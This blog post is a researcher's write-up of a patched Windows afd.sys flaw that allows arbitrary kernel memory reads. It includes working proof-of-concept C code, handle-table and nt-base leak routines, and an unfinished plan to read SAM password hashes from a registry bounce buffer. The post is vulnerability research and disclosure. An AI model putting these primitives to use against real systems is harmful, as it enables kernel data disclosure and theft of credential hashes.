Introduction

I recently discovered a very interesting kernel vulnerability that allows the reading of arbitrary kernel-mode address. Sadly, the vulnerability was patched in Windows 21H2 (OS Build 22000.675), and I am unsure of the CVE being assigned to it. In this short blog post, I will share my journey of trying to exploit this vulnerability. Although I didn’t finish the exploit in the end, I have decided to share this with everyone anyway. This is also my attempt to find an answer based on this discussion.

The Vulnerability

Getting arbitrary address read primitive

The vulnerability is inside Windows’s Ancillary Function Driver for Windows (afd.sys). This driver exposes the functionalities from tcpip.sys to user-mode via DeviceIoControl call. The following call stack will show what happens when a UDP socket is created.

0: kd> k
 # Child-SP          RetAddr               Call Site
00 ffff8388`55f44238 fffff805`10a1a4b8     tcpip!UdpCreateEndpoint
01 ffff8388`55f44240 fffff805`11bc89a7     tcpip!UdpTlProviderEndpoint+0x38
02 ffff8388`55f44290 fffff805`11c21d88     afd!AfdTLCreateEndpoint+0x93
03 ffff8388`55f44310 fffff805`11bc8169     afd!AfdCreate+0x2f0
04 ffff8388`55f44430 fffff805`0b6f68d5     afd!AfdDispatch+0x59
05 ffff8388`55f44470 fffff805`0bb09557     nt!IofCallDriver+0x55
06 ffff8388`55f444b0 fffff805`0bb6a922     nt!IopParseDevice+0x897
07 ffff8388`55f44670 fffff805`0bb69d91     nt!ObpLookupObjectName+0x652
08 ffff8388`55f44810 fffff805`0bbd029f     nt!ObOpenObjectByNameEx+0x1f1
09 ffff8388`55f44940 fffff805`0bbcfe79     nt!IopCreateFile+0x40f
0a ffff8388`55f449e0 fffff805`0b829078     nt!NtCreateFile+0x79
0b ffff8388`55f44a70 00007ffa`5a904954     nt!KiSystemServiceCopyEnd+0x28
0c 000000a3`9932f358 00007ffa`572888d7     ntdll!NtCreateFile+0x14
0d 000000a3`9932f360 00007ffa`57288264     mswsock!SockSocket+0x567
0e 000000a3`9932f550 00007ffa`5a55c295     mswsock!WSPSocket+0x234
0f 000000a3`9932f650 00007ffa`5a5648b1     WS2_32!WSASocketW+0x175
*** WARNING: Unable to verify checksum for afd.exe
10 000000a3`9932f740 00007ff6`8167844f     WS2_32!WSASocketA+0x61

On Windows, a socket handle is just a FILE_OBJECT handle created by Afd.sys. The vulnerability lies inside afd!AfdTliIoControl.

Inside this function, a piece of code allocates a buffer and copies it into that buffer with a user-controlled address.

Request->Irp = Irp;
BufferSize = Request->Size;
if ( BufferSize )
{
  v32 = ExAllocatePool2(0x61, BufferSize, 'idfA');
  Request->Buffer = v32;
  memmove(v32, Request->UserControlAddress, Request->Size);
}

There are no checks on Request->UserControlAddress hence we can set it to an arbitrary address value. Microsoft patched this vulnerability by adding a check with the MmUserProbeAddress value.

Exploitation

In order to exploit this vulnerability, I need to find out where Request->Buffer is being used. Through debugging, I found out that this function will pass Request->Buffer into other functions within tcpip.sys depending on the socket type and other values inside our DeviceIoControl’s input buffer. Putting IoControl in IDA’s functions window gives me the following function names:

RawIoControlEndpoint
RawTlProviderIoControlEndpoint
TcpIoControlEndpoint
TcpIoControlListener
TcpIoControlTcb
TcpTlConnectionIoControlEndpoint
TcpTlEndpointIoControlEndpoint
TcpTlEndpointIoControlEndpointCalloutRoutine
TcpTlListenerIoControlEndpoint
TcpTlProviderIoControl
TlDefaultRequestIoControl_0
UdpIoControlEndpoint
UdpTlProviderIoControl
UdpTlProviderIoControlEndpoint

Skimming through all the different functions and branches, it seems that the contents for Request->Buffer is well checked. When I was looking around, these functions caught my attention:

TcpGetSockOptEndpoint
TcpSetSockOptEndpoint
UdpGetSockOptEndpoint
UdpSetSockOptEndpoint

In POSIX, the socket API setsockopt and getsockopt have the following prototype:

int setsockopt(int socket, int level, int option_name, const void *option_value, socklen_t option_len);
int getsockopt(int sockfd, int level, int optname, void *restrict optval, socklen_t *restrict optlen);

These two functions can be used to get and set various options to a socket. The following is a stack trace for a setsockopt call.

 # Child-SP          RetAddr               Call Site
00 ffff8388`534457a8 fffff805`11bd37dc     afd!AfdTliIoControl
01 ffff8388`534457b0 fffff805`0b6f68d5     afd!AfdDispatchDeviceControl+0x7c
02 ffff8388`534457e0 fffff805`0bb638f2     nt!IofCallDriver+0x55
03 ffff8388`53445820 fffff805`0bb636d2     nt!IopSynchronousServiceTail+0x1d2
04 ffff8388`534458d0 fffff805`0bb62a36     nt!IopXxxControlFile+0xc82
05 ffff8388`53445a00 fffff805`0b829078     nt!NtDeviceIoControlFile+0x56
06 ffff8388`53445a70 00007ffa`5a903f94     nt!KiSystemServiceCopyEnd+0x28
07 00000075`cc5ef678 00007ffa`57289479     ntdll!NtDeviceIoControlFile+0x14
08 00000075`cc5ef680 00007ffa`5a5618d9     mswsock!WSPSetSockOpt+0x2e9

I figured out that in setsockopt the call Request->Buffer contains option_value. If we point Request->Buffer to a kernel address, the value at that address will be treated as a socket option_value and will be stored somewhere in kernel memory. After that, we can read that value back through getsockopt call. After some debugging, I came up with the following POC, which can read arbitrary valid kernel memory.

DWORD read_dword(UINT64 addr) {
  WSADATA wsd;
  int status;
  status = WSAStartup(MAKEWORD(2, 2), &wsd);

  SOCKET s = WSASocketA(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_REGISTERED_IO);
  
  void* inbuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  void* outbuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  size_t size = 0x40;

  *(DWORD*)((char*)inbuffer + 4) = 0x11;
  *(UINT64*)((char*)inbuffer + 8) = 2;
  *(UINT64*)((char*)inbuffer + 16) = (UINT64)addr;
  *(UINT64*)((char*)inbuffer + 24) = size;
  *(char*)((char*)inbuffer + 12) = 1;
  *(int*)inbuffer = 1;

  DWORD n = 0;
  status = DeviceIoControl((HANDLE)s, 0x120BF, inbuffer, size, NULL, 0, &n, NULL);

  *(int*)inbuffer = 2;
  status = DeviceIoControl((HANDLE)s, 0x120BF, inbuffer, size, outbuffer, size, &n, NULL);
  // printf("leak: %x\n", *(int*)outbuffer);
  return *(DWORD*)outbuffer;
}

Trying to achieve LPE

We need to know a valid kernel address to read from kernel memory first. This vulnerability can be combined with other memory corruption vulnerabilities to achieve LPE, but on it’s own, it appears not to be very useful until I saw this discussion on Twitter where @jonasLyk mentioned that if someone can use their vulnerability to read C:\Windows\System32\config\SAM from kernel memory, they might be able to achieve LPE. Later I also found out that if our process has medium integrity, we can call NtQuerySystemInformation to read the kernel’s handle table. Inside the handle table, there are pointers to all processes’ objects.

typedef struct _SYSTEM_HANDLE
{
	PVOID Object;
	HANDLE UniqueProcessId;
	HANDLE HandleValue;
	ULONG GrantedAccess;
	USHORT CreatorBackTraceIndex;
	USHORT ObjectTypeIndex;
	ULONG HandleAttributes;
	ULONG Reserved;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
	ULONG_PTR HandleCount;
	ULONG_PTR Reserved;
	SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;

ULONG len = 20;
NTSTATUS status = (NTSTATUS)0xc0000004;
PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;

do {
  len *= 2;
  pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
  status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)64, pHandleInfo, len, &len);
} while (status == (NTSTATUS) 0xc0000004);

Using ProcessHacker, we can see a few handles are related to the SAM file.

A Section is a kernel object for memory-mapped file on Windows. My first thought is to locate the section object corresponding to the SAM file in kernel memory and see if it contains a pointer to the file content. Vergilius Project provides an interactive type of search which is very convenient. We can also use windbg to view such type. A section object has type _SECTION and ObjectTypeIndex == 45.

2: kd> dt _SECTION
nt!_SECTION
   +0x000 SectionNode      : _RTL_BALANCED_NODE
   +0x018 StartingVpn      : Uint8B
   +0x020 EndingVpn        : Uint8B
   +0x028 u1               : <unnamed-tag>
   +0x030 SizeOfSection    : Uint8B
   +0x038 u                : <unnamed-tag>
   +0x03c InitialPageProtection : Pos 0, 12 Bits
   +0x03c SessionId        : Pos 12, 19 Bits
   +0x03c NoValidationNeeded : Pos 31, 1 Bit

We can read the section name through _SECTION.u1.ControlArea.FilePointer->FileName. FileName has type EX_FAST_REF which is just a normal pointer with RefCnt embeded in its first 4 bit.

struct _EX_FAST_REF
{
    union
    {
        VOID* Object;                                                       //0x0
        ULONGLONG RefCnt:4;                                                 //0x0
        ULONGLONG Value;                                                    //0x0
    };
}; 

The following code allows me to read a section file name from kernel memory:

void leak_section_name() {
	ULONG len = 20;
	NTSTATUS status = (NTSTATUS)0xc0000004;
	PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
	
	do {
		len *= 2;
		pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
		status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)64, pHandleInfo, len, &len);
	} while (status == (NTSTATUS) 0xc0000004);

	if (status != (NTSTATUS)0x0) {
		printf("NtQuerySystemInformation failed with error code 0x%X\n", status);
		return;
	}

	for (int i = 0; i < pHandleInfo->HandleCount; i++) {
		SYSTEM_HANDLE SystemHandle = pHandleInfo->Handles[i];
		HANDLE pid = SystemHandle.UniqueProcessId;
		HANDLE HandleValue = SystemHandle.HandleValue;
		USHORT ObjectTypeIndex = SystemHandle.ObjectTypeIndex;
		PVOID Object = SystemHandle.Object;

		UINT64 FilePointer = 0;
		if (ObjectTypeIndex == 45 && pid == (HANDLE)4) {
			UINT64 ControlArea = read_qword((UINT64)Object + 0x28);
			P_DUMP(ControlArea);
			FilePointer = read_qword((UINT64)ControlArea + 0x40) & (~0xf);
			P_DUMP(FilePointer);
			WCHAR *name = read_filename(FilePointer);
			if (wcsstr(name, L"config\\SAM") != NULL) {
				break;
			}
		}
	}
}

The catch is that I could not find a pointer to the file content inside the Section object.

Windows Internals, Part 1

A section can be opened by one process or by many. In other words, section objects don’t necessarily equate to shared memory. A section object can be connected to an open file on disk (called a mapped file) or to committed memory (to provide shared memory).

The Section object doesn’t contain a pointer to the file content. It contains prototype PTEs, which contain PFN to the physical memory page. After some google searches, I found out that I’m not the first one trying to do this (obviously). This research points out that you can dump SAM using the registry objects. I followed exactly the steps described in the paper. Things went smoothly until reality hits me. I realise that I can’t dereference the pointer which I got from the dumped process. It looks like a user-mode pointer. After further google searches, I found this detailed blog post, which explains the situation. PermanentBinAddress , which was a kernel pointer, is now a user-mode pointer of the Registry process. I’m not sure if this is a security patch or just some kind of optimisation. We can read the kernel memory but not another processes’ memory; hence this breaks our exploit.

Every time a process calls into NtQueryKeyValue, the kernel switches its context to the Registry process using CmpAttachToRegistryProcess function. Then it copies the registry content into a temp buffer. It then switches back and copies the contents from the temp buffer into the requestor process. If the size of the registry content is larger than 0x40 temp buffer will be allocated by CmpAllocateTransientPoolWithTag function then push into CmpBounceBufferLookaside (A LookAsideList). Otherwise, temp buffer will be on the kernel stack. This creates a small window where we can race with the kernel to read out the registry content. We can also cause lsass.exe to read the SAM registry by calling LogonUserA.

void trigger_reg_read() {
	HANDLE Token;
	LogonUserA("bit", NULL, "dummypassword", LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, &Token);
}

Our target is the HKLM\SAM\SAM\Domains\Account\Users\[userid]\f, which contains the actual hash for users. This key-value data length is always larger than 0x40. Hence we can leak CmpBounceBufferLookaside to find the chunk used to serve the request.

First, using the handle table, we can leak the base address of nt. I created a TCP FILE_OBJECT then leak the FileObject->DeviceObject->DriverObject->IRP_HANDLERS

UINT64 get_nt_base() {
	HANDLE hTargetHandle = CreateFileA("\\\\.\\Tcp", 0, 0, NULL, OPEN_EXISTING, 0, NULL);
	P_DUMP(hTargetHandle);
	UINT64 FileObject = 0;

	PSYSTEM_HANDLE_INFORMATION_EX HandleTable = get_hande_table();
	for (int i = 0; i < HandleTable->HandleCount; i++) {
		SYSTEM_HANDLE SystemHandle = HandleTable->Handles[i];
		HANDLE pid = SystemHandle.UniqueProcessId;

		if (pid == (HANDLE)GetCurrentProcessId()) {
			HANDLE HandleValue = SystemHandle.HandleValue;
			if (HandleValue == hTargetHandle) {
				FileObject = (UINT64)SystemHandle.Object;
			}
		}
	}

	P_DUMP(FileObject);
	UINT64 DeviceObject = read_qword(FileObject + 8);
	UINT64 DriverObject = read_qword(DeviceObject + 8);
	UINT64 IopInvalidDeviceRequest = read_qword(DriverObject + 0x78);
	UINT64 NtBase = IopInvalidDeviceRequest - 0x233c40;
	return NtBase;
}

From there, we can walk elements in CmpBounceBufferLookaside after which we can trigger a registry read in lsass.exe and read the contents out. If there are not many registry read operations on the system, we don’t even need to race at all. The value will remain as the first node inside CmpBounceBufferLookaside.

What is missing ?

Getting the hash is not enough; the hash is encrypted using the SYSKEY, which is in HKLM\SYSTEM\ControlSet001\Control\Lsa\Data’s child keys. You can check this out for more details. lsass.exe caches SYSKEY in memory. I can’t find a way to trigger a read to these keys yet. Also, as the data length of these keys is less than 0x40. Hence they are copied into the kernel stack instead of a buffer allocated from CmpBounceBufferLookaside. Small registry read operation happens all the time. This might make it much harder to race with the kernel and read the data out.

References